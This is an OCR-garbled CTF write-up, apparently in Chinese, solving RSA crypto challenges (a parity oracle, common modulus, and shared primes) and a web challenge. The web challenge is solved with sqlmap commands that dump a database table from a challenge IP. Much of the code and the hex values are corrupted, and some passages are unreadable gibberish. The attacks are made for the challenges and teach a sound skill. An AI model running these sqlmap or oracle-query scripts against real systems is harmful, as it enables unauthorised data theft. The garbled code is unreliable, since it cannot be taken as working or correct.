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# coding=utf-8
# author:401219180
import string

enc = 'PVSF{vVckHejgqBOVX9C1c13GFfkHIrjIQeMwf}"
grid = 'LOVEKFC' + 'ABDGHIJMNPQRSTUWXY'
flag = "'

for i in enc:
if i in string.ascii_lowercase:
index = grid.lower().index (i)
flag += string.ascii_lowercase[index]
continue
if i in string.ascii_uppercase:
index = grid.upper().index(1i)
flag += string.ascii_uppercase[index]
continue
flag += i
print flag
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M B KA TR B py BIFI$R 5. https://crypto.stackexchange.com/questions/1 1053/rsa-least-significant-bit-oracle-attack

REAE. o « ERXKE]IT —AFXHR: https:/introspelliam. github.i0/2018/03/27/crypto/RSA-Least-Significant-
Bit-Oracle-Attack/
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P€[0,P] t2EPLB=0, UB=N
¥ Flog2 Nlog2 N AT AR 2 3L C 3R Ag H B SCP
C'=(2e mod N)*C
if (Oracle(C') == even):
UB = (UB + LB)/2;

else:
LB = (UB + LB)/2;
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# coding=utf-8

# author:401219180
import binascii
import socket

def getevenOrodd(c):
"""nciEH Ik even or odd"""
adress = "47.96.239.28"
port = 23333
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((adress, int(port)))
s.recv(1024)
data = hex(c)[:-1] + "\n"
s.send(data)
codeindex = s.recv(1024)
s.shutdown(1)
s.close()
print codeindex
return codeindex

def decrypt(n):

LB =0
UB =n
e = 65537

Cc =
int("0x4f377296a19b3a25078d614elc92ff632d3e3ded772c4445b75e468a9405de05d15¢77532964120ael11f8655b68a630607df0
568a7439bc694486ae50b5c0c8507e5eecdeadb654eeff3e75fb8396e505a36b0af40bd5011990663a7655b91c9eb6ed2d770525e4698d
ec9455db17db38fa4b99b53438b9e09000187949327980ca903dPeefll4afc42b771657ea5458a4cb399212e943d139b7ceb6d5721F5
46b75cd53d65e025f4df7eb8637152ecbb6725962c7f66b714556d754f41555c691a34a798515f1e2a69c129047cb29a%eef466c206a
7f4dbc2cealad6a39ad3349a7db56c1c997dc181blafcb76falbbbf118ad4ab5c515e274ab2250dbal872be0",16)
while LB != UB:
cl = (pow(2, e, n) * c) % n
if getevenOrodd(cl)[:-1] == "even":
UB = (UB + LB) / 2
else:
LB
c=cl

(UB + LB) / 2

print LB

n=int ("0@x0b765daa79117afela77da7ff8122872bbcbddb322bb078fe0786dc40c9033fadd639adc48c3f2627fb7cb59bb0658707Fe
516967464439bdec2d6479fa3745f57c0a5ca25581210884978b2a8aaeb750e0228chbe28ale5a63bf0309b32a577eeceabb6f7610a9a4
€720649129e9dc2115db9d4f34dc17f8b0806213c035e22f2c5054ae584b440defB0afbccd458d020cae5fd1138be6507bcOblaleda7
e75def484c5fclfcb13d11be691670cf38b487de9cd4bdeb6c2c689be5adab@8b486599b619a0790cOb2d70c9c461346966bcbae53c500
7d0146fc520fabe3106fbfc89905220778870a7119831c17198628563ca020652d18d72203529a784ca73716db",16)

decrypt(n)

LB=560856645743734814774953158390773525781916094468093308691660509501812320
XERLBHE R P (Plaintext)
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LB = 560856645743734814774953158390773525781916094468093308691660509501812320
plaintext = binascii.unhexlify(hex(LB)[2:-1])
print(plaintext)

plaintext =QCTF{RSA_parity_oracle_is_fun"
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1 gghk 3bk12 phkhgw Pt_kapbd
2  gghk ht phkhaw zarsabh

3  RREhgw urtded
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5 adg ulwdt_wh_ezb(u] H

€ gdwzgs pew (v.dexhad ('ndi' ), 16€)

8 adg ezb_wh_ulwdt (e):

g u = mgi(e)[2:-1]

10 u="'0"+upyg yde(u)s2 == 1 dygd u
11 gdwzge w.adxnad ('mdi")

13 adg Jjdw_r kogpbd(y):

14 greahb_tdda = ggreahhk (v)
15
16 £zk = ulwdt_wh_ezb (greahb tdda)
18 fopyd Tgzd:

] Py pr_kapbd(szR) :

J nodry

1 gzh+=1

2 gdwzas szh

adg dexqllwic, d, e):

k = ulwdt_wh_ezb(t)

k= khf(k, d, =)

gewzgs ezb_wh ulwdt (k) .dexhad ('mdi")
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Lelkrazmd (e) :
k=¢e % 4
w= (k'k) % 4
gdwzgs w = 1

o = hkds ("guri.-wiv', 'q')
gyl = g.gdzal)
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bril = mn
btz = "n
ghg p pe greddiyde lgyri)):
po Rdkrgrwd (p):

btiz += gyrilel
durd:
bBtil += gyrilel
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cpdic = {
"a": "d", "d": "e", "g": "f", "gq": "r",
"p",
"w"eo"t", "z": "u", "e": "n", "x": "c",
e
}
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m-,

"UT: oMb, "pM:oMat, "t": "s", "p": "i", "k":

mYTLOTETL MW, mt: hU, MU tgt, Mit: "M, v

f1 = open("C:\\Users\\fuzhi\\Desktop\\Downloads\\encryption.encrypted", "r") //Z&HC#

datal = fil.read()
listdatal = list(datal)
i=20
for strindex in listdatal:
if strindex in cpdic:
listdatal[i] = cpdic[strindex]
i+=1

s = "".join(listdatal)
print s

B J5 H Fencryption.encrypyed i

from gmpy2 import is_prime
from os import urandom
import base64

def bytes_to_num(b):
return int(b.encode('hex"), 16)
def num_to_bytes(n):
b = hex(n)[2:-1]
b="0"+b if len(b)%2 == 1 else b
return b.decode('hex")
def get_a_prime(l):
random_seed = urandom(1l)
num = bytes_to_num(random_seed)
while True:
if is_prime(num):
break
num+=1
return num
def encrypt(s, e, n):
p = bytes_to_num(s)
p = pow(p, e, n)
return num_to_bytes(p).encode('hex")

def separate(n):
p=n%4a
t = (p*p) % 4

return t == 1



f = open('flag.txt', 'r'")
flag = f.read()

msgl =
msg2 = ""
for i in range(len(flag)):
if separate(i):
msg2 += flag[i]
else:
msgl += flag[i]

pl = get_a_prime(128)
p2 = get_a_prime(128)
p3 = get_a_prime(128)
nl = pl*p2
n2 = pl*p3
e = 0x1001

cl = encrypt(msgl, e, nl)
c2 = encrypt(msg2, e, n2)
print(cl)
print(c2)

el = 0x1001

e2 = oxle1l

p4 = get_a_prime(128)

p5 = get_a_prime(128)

n3 = p4*p5

cl = num_to_bytes(pow(nl, el, n3)).encode( ' 'hex")
c2 = num_to_bytes(pow(nl, e2, n3)).encode( ' 'hex")
print(cl)

print(c2)

print(base64.b64encode(num_to_bytes(n2)))
print(base64.b64encode(num_to_bytes(n3)))

RAgEEiHE, ATORAETE RSN, REFMHLAAEK P, p2, p3, BRilid1, d2, Mi#Hmsg1
msg2
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# coding=utf-8
# author:401219180

import base64
import binascii
import gmpy2

e = 0x1001
el 0x1001
e2 0x101

n2cipertext =
"PVNHb2BfGAnmxLrbKhgsYXRWWIL9e0j6K0Os3I0s1KHCTXTAUtZh3TOr+RoS1hp03+77AY8P7WETYZz2Jzuv5FV/mMODOF rM5fMyQsNt90VvVyn
R633Jv+fnPIPsm2hJ1Fqt7EKaVRwCbt6a4BdcRoHIsYN/+eh7k/X+FL5XM7viyvQxyFawQrhSV79FIoX6xfjtGW+uAeVF7DScRc149d1wODh
FD7SeLqzoYDIPIQS+VSb3YtvrDgdV+EhuS1bfWvkkXRij1JIEpLrgWYmMdfsYX8u/+Y1f5xcBGn3hv1lYhQrBCg77AHUUF2w/gJ/ADHFiMcH3u
x3nqOsuwnbGSr7jA6Cw=="

n3cipertext =
"TmNVbWUhCXR10od3gBpM+HGMKK/4ErfIKITxomQ/QmNCZ1zmmsNyPXQBiMEeUB8udO71WjQTYGjD6k21xjThHTNDG4z6C2cNNPz73VIaNTGz



ohrhe6CmgDowFbyrk+rv53QSkVKPa8EZnFKwGz9B3zXimm1D+01cov7V/ZDfrHrEjsDkgK4Z1rQxPpZAP1+yqG1RK8soBKhY/PF3/GjbquRYe
YKbagpUmWOhLnF4/+DP33ve/EpaSAPirzXzf8hyatL4/5tAZOuNqOW6T4GoMG+N7aS2GeyUA2sL IMHymW4cFK515kUvjs1RAXOHTmz5eHxqI
V6TmSBQRgovUij1lNamQ=="

n2hex = base64.b64decode(n2cipertext).encode("hex")

n3hex = base64.b64decode(n3cipertext).encode("hex")

n3
n2

int(n3hex, 16)
int(n2hex, 16)

nlciperlhex =
"2639c28e3609a4a8c953cca9c326e8e062756305ae8aeebefcd346458aade3ee8c2106abodfe5f4708041366af738aa493fd2dc26ch
2492922e121287f3eddec@ed8dea89747dc57aed7cd2089d75c23a69bf601f490a641f73f6a583081ae3a7ed52238c13a95d3322065ad
ba9053ee5b12f1del1873dbad9fbf4a50a2158088dfofddfe2ed8calll18c81268c8c0fd5572494276F4e48b5eb424f116e6f5e9d66dal
b6b3a81102539b690c1636€82906a4613c5434d5b04ed793886118d453908970eccefO7bf13f723d6fdd26a61be8b9462d0ddfbedc9l
886df194e2022e56c1780aabc76b9f1c7d5ea743dc75cec3c805324e90ea577fa396aleffdafa3090"

nlciper2hex =
"42ff1157363d9cd10da64eb4382b6457ebb740dbef40ade9b24a174d0145adaa®l15d86aa2fc2a41257f2b62486eaebb655925dac78
dd8d13ab405aef5b8b819830094c712193500db49fb801e1368c73f88f6d8533c99c8e7259f8b9d1c926c47215ed327114f235ba8c87
3af7a0052aa2d32¢52880db55c5615e5a1793b690c37efdd5e5031f717bb8de716303e4d6c4116F62d81be852c5d36e1282a958d8c82c¢
f3b458dcc8191dcc7b490f227d1562b1d57fbcf7bf4b78a5d90cd385Ffd79¢c8cad688e7d62b3204aeat9692badd4e44875eaa63642775
8464341f9ce51d138ca702d907849823b1e86896e4ea6223f93fae68b026cfe5fa5a665569a9e3948a"

nlciperl = int(nlciperilhex, 16)
nlciper2 = int(nlciper2hex, 16)

# FELE
gcd, s, t = gmpy2.gcdext(el, e2)
if s < 0:
s = -s
nlciperl = gmpy2.invert(nlciperl, n3)
if t < o:
t = -t

nlciper2 = gmpy2.invert(nlciper2, n3)
nl = gmpy2.powmod(nlciperl, s, n3) * gmpy2.powmod(nlciper2, t, n3) % n3
print nl

EEbs|

nl = pl * p2

n2 = pl * p3

ARG AL Hpl, REKRMHP2,p3

pl = gmpy2.gcd(nl, n2)

p2 = nl / pl
p3 = n2 / pl
# f#tdl,d2

dl = gmpy2.invert(e, (pl - 1) * (p2 - 1))
d2 = gmpy2.invert(e, (pl - 1) * (p3 - 1))

clhex =
"1240198b148089290e375b999569f0d53c32d356b2e95Ff5aceed70f016b3bef243dOb5e46d9ad7aa7dfe2f21bda920d0ac7ce7ble4d8
f22b2ded410c6f391ce7c4347c65Ffc9704ecb3068005e9f35cbbb7b27e0f7a18f4f42ae572d77aaa3eel89418d6a07bab7d93beaa365
€98349d8599eb68d21313795F380f05F5b3dfdc6272635edelf83d308coOfdb2baf444b9eel38132d0d532c3c7e60efb25b9bf9cb62db
298332a3706344229bd604510877661a073bbdeef2763452d0ad7ab3404bad94b93fdedfdf4c28e4fe83a72884a99ddf15ca030ace97
812da87b79b4+504f1d15b5b96c654f6cd5179b72ed5f84d3al16a8f0d5bf6774e7+d98d27b+3c9839"

c2hex =
"129d5d4ab3f9e8017d4e6761702467bbeb1b884b6c4f8f+397d078a8c41186a3d52977fa2307d5b6avaddlfedfc3ba7b70f776ba379

NAAIANALIATC AAC ALALANA A Al AR ECNAT A LTAAL A AANELTOAOOL ~ALO1 ~nhAOANO AN AL AALT~AATO10LECE ~nTALANAAALE alhalhdlAddNAdALLCAOAT O



YA4D>444TUYD4EDdTUD4D LdDdUEUDDU/ LT /UdDEU44D / 0d000dUT O LLU4040ddDdTU4UU/ LU/ 0 LOTIDDL /EDELYLLTIdUdUUUUULU4TTIOLDO
27e58d48d5466e021a64599b3e867840c07e29582961181643df07f678a61a919027ebd34094e272dfbdc4619falac60f0189af785df
77e7ec784e086cf692a7bf7113a7fb8446a65efa8b431c6f72c14bcfadoc9b491fbld8712570059e0f13166a85bb555b40549F45104b
c5dbde9d8b858a5382be6497d88197Ffb86381085756365bd757ec3cdfa8a77bal728ec2de596c5ab”

cl = int(clhex, 16)
c2 = int(c2hex, 16)

msgl
msg2

pow(cl, di, nl1)
pow(c2, d2, n2)

print msgl
print msg2

R1Gmsg1Mimsg2)5, #mascii, RGP

plantextl = binascii.unhexlify(hex(msgl)[2:])
plantext2 = binascii.unhexlify(hex(msg2)[2:])

flag = ""for i in range(len(plantextl) - 1):
flag += (plantext1[i] + plantext2[i])
print flag

flag: XMAN{CRYPTO_I5 50 _Interestingvim rsa.py}

WEB

0x01 NewsCenter

TP TUR 2

Hacker News

OVERVIEW

Search news

News

Hello
Hello World!
Two Zero-Day Exploits Found After Someone Uploaded Unarmed PoC to VirusTotal

Security researchers at Microsoft have unveiled details of two critical and important zero-day vulnerabilities that had recently
cen

Facebook Admits Sharing User Data With 61 Tech Companies

Facebook has admitted that the company gave dozens of tech companies and app developers special access to its user data
after publicly saying it had restricted outside companies to access such data back in 2015.

Researchers Uncover New Attacks Against LTE Network Protocol Researchers Uncover New Attacks Against

1 e mohila rarriar nffars ITE alen knmwn as tha AR natunark e nead t hawsara 2e wnnr natwnrk rammunication ~an ha

i B AR, R Z R B sqiEA

F R sqmap—iEik

1% &£ python sqlmap.py -u "http://47.96.118.255:33066/" --data="search=1" --current-db



tected during rum:

to text files under ¢

1% Btpython sglmap.py -u "http://47.96.118.255:33066/" --data="search=1" -D news -T secret_table --
columns

1 1
= news

| Column | Type

fldg ‘
id

--dump

r tahle "secret table’ in databaze news’
r out

3T https://www.cnblogs.com/semishigure/p/9318258.htm
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